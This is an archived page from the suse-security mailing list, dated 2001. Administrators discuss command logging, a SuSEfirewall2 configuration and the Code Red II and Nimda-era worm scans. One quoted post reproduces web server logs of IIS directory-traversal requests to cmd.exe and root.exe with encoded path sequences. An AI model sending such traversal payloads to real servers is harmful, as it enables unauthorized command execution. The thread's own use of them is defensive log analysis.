September 2001 - openSUSE Security - openSUSE Mailing Lists

Command Logging
by Florian Meyer-Kassel 18 Sep '01

18 Sep '01

Hi all, I'm looking for something like a bash-replacement wich logs all commands with parameters etc a user issues. The bash-history isn't useful, because it can be changed/deleted by the user himself. Can anybody tip me into the right direction ? Thanks !! Mit freundlichen Grüssen Florian Meyer-Kassel --- Combax Aktiengesellschaft Florian Meyer-Kassel Server Administration Max-Eyth-Strasse 35 D-71088 Holzgerlingen T: +49.7031.741015-0 F: +49.7031.741015-99 E: f.meyer-kassel(a)combax.de --- This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager.

9 11

Re: [suse-security] WEB IIS cmd exe requests
by michael.ryan＠storm.ie 18 Sep '01

18 Sep '01

It IS actually a scan for the CodeRed II backdoor See http://www.sarc.com/avcenter/venc/data/codered.ii.html Michael

4 3

RE: [suse-security] WEB IIS cmd exe requests
by Lars Schlimpert 18 Sep '01

18 Sep '01

fortunately i have a linux box with apache ! -:) only nerves logentrys... cu , lars > -----Original Message----- > From: r.maurizzi(a)gvs.it [mailto:r.maurizzi@gvs.it] > > I really hope it's not a worm that try to use the (very widespread now) > vulnerability to install something nastier. > > SuSE/Apache are unaffected, as always. >

3 2

NEW-Worm CODE BLUE
by Johann Steigenberger 18 Sep '01

18 Sep '01

Hi all, the new worm which spreads is not an CODERED, it is CODE BLUE. we reported about this on our Newsletter on 13.th September about this. A Description what it does can be found on our Website at: http://admins.ws/newsletter/20010913.htm (German Language) So it is nothing to panic for you - its only dangerous for unpatched Windows Boxes :-) Best Regards Johann Steigenberger ----------------------------------------------------------- Admins WebSecurity - who wants to hack your System today ? find it out, visit our website at http://www.admins.ws ----------------------------------------------------------- Bestellen auch Sie unseren kostenlosen Security-Newsletter. Sie werden dann über neue Gefahren informiert, bevor Ihnen oder Ihrer Firma ein Schaden entstehen kann !!! Senden Sie einfach eine E-Mail mit dem Betreff: SUBSCRIBE an: newsletter(a)admins.ws -----------------------------------------------------------

1 0

display
by jdd 18 Sep '01

18 Sep '01

I would like to be able to keep an eye on my internet traffic with xisdnload, but I don't care to let an open root terminal on my desk. how can I display such a window as a screen saver, for example? thanks jdd -- <http://www.dodin.net> <mailto:jdanield@dodin.net> WHO'S THAT GUY ? Help me found it Russia & South america help needed http://www.dodin.net/serge/index.html

2 2

Info: New Worm (was: WEB IIS cmd exe requests)
by Sven Michels 18 Sep '01

18 Sep '01

Quoting http://slashdot.org/ _ A new worm seems to be running around. Unlike Code Red, it attempts to hit boxes with many different requests (including what looks like an attempt to exploit boxes still rooted by Code Red). It looks like each IP is hitting 16 times. I had 20 different boxes each hit me 16 times, and I'm not alone. There is also a new mail worm mailing WAV files or something with bits of what appears to be the registry... it may or may not be related. Got any words on this? Shut down those windows boxes folks. And stop opening executable attachments. Oh, make that 21. Got another one while writing this story. I'm calling it 208 for now because all my hits are coming from 208.n.n.n (where I am) I'm sure it'll keep moving. _ have fun :/ -- intraDAT AG http://www.intradat.com Wilhelm-Leuschner-Strasse 7 Tel: +49 69-25629-0 D - 60329 Frankfurt am Main Fax: +49 69-25629-256

2 2

SuSEfirewall2 assistance
by Anthony Hogbin 18 Sep '01

18 Sep '01

Hello I have been working on a solution to a firewall I have been asked to build now for a week, and I have learnt a lot, but am repeatedly running into the fact I am doing something fundementally wrong. 217.34.xxx.high_end DSL ROUTER | | Firewall2 -----------------------217.34.xxx.low_end (Named/SQUID) | EXHCANGE Server | | | |-----------217.34.xxx.low_end | Backup Server | DHCP LAN Since I did not get to call the shots on the setup of their network the LAN needs to be able to see the services on the DMZ machines. and the DHCP machines need to be masqueraded to the outside world. Through change after change I have managed to get the initial issue solved (subnetting correctly so it knows where the lower and higher IP's are - Doh!). My boss is pushing for another solution - but I am confident I can solve it with this - although I am not producing the goods. If anyone has a similar configuration, or is willing to offer me some wise words - then please contact me directly. Many thanks AH -- For your amusement... # 2.) FW_DEV_EXT="eth0" # 3.) FW_DEV_INT="eth2" # 4.) FW_DEV_DMZ="eth1" # 5.) FW_ROUTE="yes" # 6.) FW_MASQUERADE="yes" FW_MASQ_DEV="$FW_DEV_EXT" FW_MASQ_NETS="$INT_LAN_RANGE,0/0,tcp,20 $INT_LAN_RANGE,0/0,tcp,21 $INT_LAN_RANGE,0/0,tcp,22 $INT_LAN_RANGE,0/0,tcp,23 $INT_LAN_RANGE,0/0,tcp,25 $INT_LAN_RANGE,0/0,tcp,37 $INT_LAN_RANGE,0/0,udp,37 $INT_LAN_RANGE,0/0,udp,43 $INT_LAN_RANGE,0/0,udp,53 $INT_LAN_RANGE,0/0,tcp,53 $INT_LAN_RANGE,0/0,tcp,80 $INT_LAN_RANGE,0/0,tcp,110 $INT_LAN_RANGE,0/0,tcp,113 $INT_LAN_RANGE,0/0,tcp,123 $INT_LAN_RANGE,0/0,udp,123 $INT_LAN_RANGE,0/0,tcp,143 $INT_LAN_RANGE,0/0,tcp,443 $INT_LAN_RANGE,0/0,tcp,554 $INT_LAN_RANGE,0/0,tcp,993 $INT_LAN_RANGE,0/0,tcp,1863 $INT_LAN_RANGE,0/0,tcp,2401 $INT_LAN_RANGE,0/0,tcp,5800 $INT_LAN_RANGE,0/0,tcp,5900 $INT_LAN_RANGE,0/0,tcp,6800:6900 $INT_LAN_RANGE,0/0,udp,6800:6900 $INT_LAN_RANGE,0/0,tcp,6901 $INT_LAN_RANGE,0/0,udp,6901 $INT_LAN_RANGE,0/0,tcp,6970:7170 $INT_LAN_RANGE,0/0,tcp,7070" # 7.) FW_PROTECT_FROM_INTERNAL="yes" # 8.) FW_AUTOPROTECT_SERVICES="yes" # 9.) FW_SERVICES_EXT_TCP="" FW_SERVICES_EXT_UDP="" # Common: domain FW_SERVICES_EXT_IP="" FW_SERVICES_DMZ_TCP="53 3128" FW_SERVICES_DMZ_UDP="53" FW_SERVICES_DMZ_IP="" FW_SERVICES_INT_TCP="23 53 3128" FW_SERVICES_INT_UDP="53" FW_SERVICES_INT_IP="" # 10.) FW_TRUSTED_NETS="$EXT_ZFT_GATE,tcp,22" #SSH/SCP from our gateway # 11.) FW_ALLOW_INCOMING_HIGHPORTS_TCP="yes" FW_ALLOW_INCOMING_HIGHPORTS_UDP="yes" # 12.) FW_SERVICE_AUTODETECT="yes" # Autodetect the services below when starting FW_SERVICE_DNS="yes" FW_SERVICE_DHCLIENT="no" FW_SERVICE_DHCPD="no" FW_SERVICE_SQUID="yes" FW_SERVICE_SAMBA="no" # 13.) FW_FORWARD="$INT_LAN_RANGE,$DMZ_IP_RANGE 0/0,$DMZ_EXCHANGE,tcp,25 0/0,$DMZ_EXCHANGE,tcp,80 0/0,$DMZ_EXCHANGE,tcp,135 0/0,$DMZ_EXCHANGE,tcp,443 0/0,$DMZ_BACKUP,tcp,21 0/0,$DMZ_BACKUP,tcp,20" # 14.) FW_FORWARD_MASQ="" # Beware to use this! # 15.) FW_REDIRECT="" # 16.) FW_LOG_DROP_CRIT="yes" FW_LOG_DROP_ALL="yes" FW_LOG_ACCEPT_CRIT="no" FW_LOG_ACCEPT_ALL="no" FW_LOG="--log-level warning --log-tcp-options --log-ip-option --log-prefix SuSE-FW" # 17.) FW_KERNEL_SECURITY="yes" # 18.) FW_STOP_KEEP_ROUTING_STATE="yes" # 19.) FW_ALLOW_PING_FW="no" FW_ALLOW_PING_DMZ="no" FW_ALLOW_PING_EXT="yes -- a n t h o n y h o g b i n -----------------------------------------------------

2 1

Re: [suse-security] WEB IIS cmd exe requests
by Michael Fulk 18 Sep '01

18 Sep '01

I started picking these up at about 9:15 CST, looks like someone is trying to exploit the Code Red II backdoor. 9/18/01 9:22:24 AM, Togan Muftuoglu <toganm(a)users.sourceforge.net> wrote: > >Hi, > >I thought Code RED was slowing down :-( Other then getting the regular >GET "default.ida" requests I have been logging things like this for the >last two hours from different IP's. > >1) Anyone else getting similar things or is me ? >2) Is it worth to bother sending these logs to the provider of the ip's ? > >TIA > >Sep 18 16:50:26 gardiyan snort: WEB-IIS cmd.exe access [Classification: Attempted User Privilege Gain Priority: 8]: 212.209.96.133:3317 -> 212.174.50.248:80 >Sep 18 16:50:26 gardiyan snort: WEB-IIS cmd.exe access [Classification: Attempted User Privilege Gain Priority: 8]: 212.209.96.133:3317 -> 212.174.50.248:80 >Sep 18 16:50:39 gardiyan last message repeated 3 times > > >::ffff:212.209.96.133%134580160 - - [18/Sep/2001:16:50:12 +0300] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:13 +0300] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:14 +0300] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:15 +0300] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:16 +0300] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:16 +0300] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:17 +0300] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:18 +0300] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:18 +0300] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:19 +0300] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:20 +0300] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:24 +0300] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:24 +0300] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:25 +0300] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:26 +0300] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:26 +0300] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" > >-- >Togan Muftuoglu > > >-- >To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com >For additional commands, e-mail: suse-security-help(a)suse.com > >

1 0

sort files by week
by spiekey 18 Sep '01

18 Sep '01

Hello! is it possible to sort my log files (one ech day) by week? So that a wekly cronjob finds all files from the last 7 days and creates a folder with the current date/week and copies the files in there. Maybe someone of u already have such a script, or something similar? THX 4 you time! Spiekey

1 0

SuSE is not logging anymore..
by spiekey 18 Sep '01

18 Sep '01

Hello! what could be the reason that suse won´t write into my /var/log/messages anymore? The last activity was from the 11th of September. Anyone any idea? Thank you, Spiekey

7 7